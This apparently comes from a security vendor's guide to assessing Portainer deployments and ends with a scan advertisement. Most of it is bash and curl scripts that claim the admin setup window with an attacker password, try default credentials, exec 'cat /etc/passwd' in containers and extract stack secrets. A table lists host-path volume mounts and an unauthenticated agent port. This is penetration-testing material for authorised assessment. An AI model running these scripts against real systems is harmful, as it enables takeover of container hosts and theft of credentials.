Portainer is one of the most widely deployed Docker and Kubernetes management UIs, providing graphical control over container infrastructure — making it an exceptionally high-value target because compromising Portainer gives the same level of access as the Docker socket itself (effectively root on the host). Its security assessment covers: Portainer's admin initialization endpoint /api/users/admin/init is accessible for 5 minutes after first startup — any visitor who reaches this endpoint within that window can set the admin password and claim control of the entire container environment; Portainer's REST API accepts JWT tokens and API keys — admin-level tokens allow exec into any running container, volume creation pointing to host paths, image pull and deployment, and environment inspection; Portainer stacks display their configured environment variables in the UI and API — environment variables contain database passwords, API keys, and service credentials configured for containers; and the Portainer agent deployed on remote Docker hosts listens on port 9001 and by default accepts connections without mutual TLS, allowing any host on the network to issue Docker commands. This guide covers systematic Portainer security assessment.
# Portainer admin initialization — accessible for 5 minutes after first startup
PORTAINER_URL="https://portainer.example.com"
# Check if admin initialization is still available (5-minute window after startup)
INIT_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${PORTAINER_URL}/api/users/admin/check" 2>/dev/null)
echo "Admin check status: ${INIT_STATUS}"
# 404 = admin already initialized, 204 = admin not yet initialized (window open)
if [ "$INIT_STATUS" = "204" ]; then
echo "CRITICAL: Admin not initialized — 5-minute setup window still open"
# Set attacker-controlled admin password
curl -s -X POST "${PORTAINER_URL}/api/users/admin/init" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"AttackerPassword123!"}' 2>/dev/null
fi
# Test default admin credentials (common in home lab deployments)
for PASS in "admin" "portainer" "password"; do
RESPONSE=$(curl -s -X POST "${PORTAINER_URL}/api/auth" \
-H "Content-Type: application/json" \
-d "{\"username\":\"admin\",\"password\":\"${PASS}\"}" 2>/dev/null)
JWT=$(echo "$RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('jwt',''))
" 2>/dev/null)
if [ -n "$JWT" ] && [ "$JWT" != "null" ]; then
echo "AUTH SUCCESS: admin/${PASS}"
echo "JWT token: ${JWT:0:50}..."
break
fi
done
# Portainer API: exec into containers with admin JWT
PORTAINER_URL="https://portainer.example.com"
JWT_TOKEN="your-portainer-jwt"
# List all endpoints (Docker hosts managed by this Portainer instance)
curl -s "${PORTAINER_URL}/api/endpoints" \
-H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
eps = json.load(sys.stdin)
print(f'Endpoints: {len(eps)}')
for ep in eps:
print(f' [{ep.get(\"Id\")}] {ep.get(\"Name\")} URL={ep.get(\"URL\")}')
" 2>/dev/null
ENDPOINT_ID=1 # Replace with actual endpoint ID
# List all running containers
curl -s "${PORTAINER_URL}/api/endpoints/${ENDPOINT_ID}/docker/containers/json" \
-H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
containers = json.load(sys.stdin)
print(f'Containers: {len(containers)}')
for c in containers[:10]:
print(f' {c.get(\"Names\",[\"?\"])[0]} image={c.get(\"Image\")} status={c.get(\"State\")}')
print(f' ID: {c.get(\"Id\",\"\")[:12]}')
" 2>/dev/null
# Exec into a container (equivalent to docker exec -it)
CONTAINER_ID="container_id_here"
# Create exec instance
EXEC_ID=$(curl -s -X POST \
"${PORTAINER_URL}/api/endpoints/${ENDPOINT_ID}/docker/containers/${CONTAINER_ID}/exec" \
-H "Authorization: Bearer ${JWT_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Cmd":["cat","/etc/passwd"]}' \
2>/dev/null | python3 -c "import json,sys; print(json.load(sys.stdin).get('Id',''))" 2>/dev/null)
# Start the exec and get output
curl -s -X POST \
"${PORTAINER_URL}/api/endpoints/${ENDPOINT_ID}/docker/exec/${EXEC_ID}/start" \
-H "Authorization: Bearer ${JWT_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"Detach":false,"Tty":false}' 2>/dev/null
# Portainer stacks — environment variables contain plaintext secrets
PORTAINER_URL="https://portainer.example.com"
JWT_TOKEN="your-portainer-jwt"
# List all stacks deployed via Portainer
curl -s "${PORTAINER_URL}/api/stacks" \
-H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
stacks = json.load(sys.stdin)
print(f'Stacks: {len(stacks)}')
for s in stacks:
print(f' [{s.get(\"Id\")}] {s.get(\"Name\")} endpoint={s.get(\"EndpointId\")}')
" 2>/dev/null
# Get environment variables for a specific stack
STACK_ID=1
curl -s "${PORTAINER_URL}/api/stacks/${STACK_ID}" \
-H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
s=json.load(sys.stdin)
print(f'Stack: {s.get(\"Name\")}')
for env in s.get('Env',[]):
name = env.get('name','')
value = env.get('value','')
# Look for sensitive variables
sensitive_keywords = ['password','secret','key','token','pass','pwd','api','db','database','credentials']
if any(k in name.lower() for k in sensitive_keywords):
print(f' SENSITIVE: {name}={value}')
else:
print(f' {name}={value[:50]}')
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Admin initialization window (5-min after startup) | GET /api/users/admin/check returns 204 — POST /api/users/admin/init sets attacker-controlled admin password, giving full Docker daemon control over all managed hosts | Critical |
| Weak admin credentials | POST /api/auth with admin/admin, admin/portainer — JWT token gives full container management including exec, volume creation, image deployment | Critical |
| Container exec via API (container escape path) | POST /api/endpoints/{id}/docker/containers/{id}/exec — execute commands inside any container; root containers have host filesystem access via mounts | Critical |
| Stack environment variable extraction | GET /api/stacks/{id} with admin JWT — returns all environment variables configured for that stack in plaintext including database passwords, API keys, and service credentials | High |
| Portainer agent on port 9001 without TLS | Direct connection to agent:9001 — accepts Docker commands without authentication when mutual TLS not configured; equivalent to unauthenticated Docker daemon access | Critical |
| Volume creation pointing to host filesystem | POST /api/endpoints/{id}/docker/volumes with driver=local options path=/etc — creates a Docker volume mounting sensitive host paths accessible from deployed containers | Critical |
Ironimo tests Portainer deployments for the admin initialization window accessible via /api/users/admin/check enabling admin credential takeover, weak admin credentials giving full Docker daemon control, container exec access to running containers via the API, stack environment variable extraction exposing plaintext database passwords and API keys, Portainer agent port 9001 accepting connections without mutual TLS authentication, and volume creation targeting sensitive host filesystem paths.
Start free scan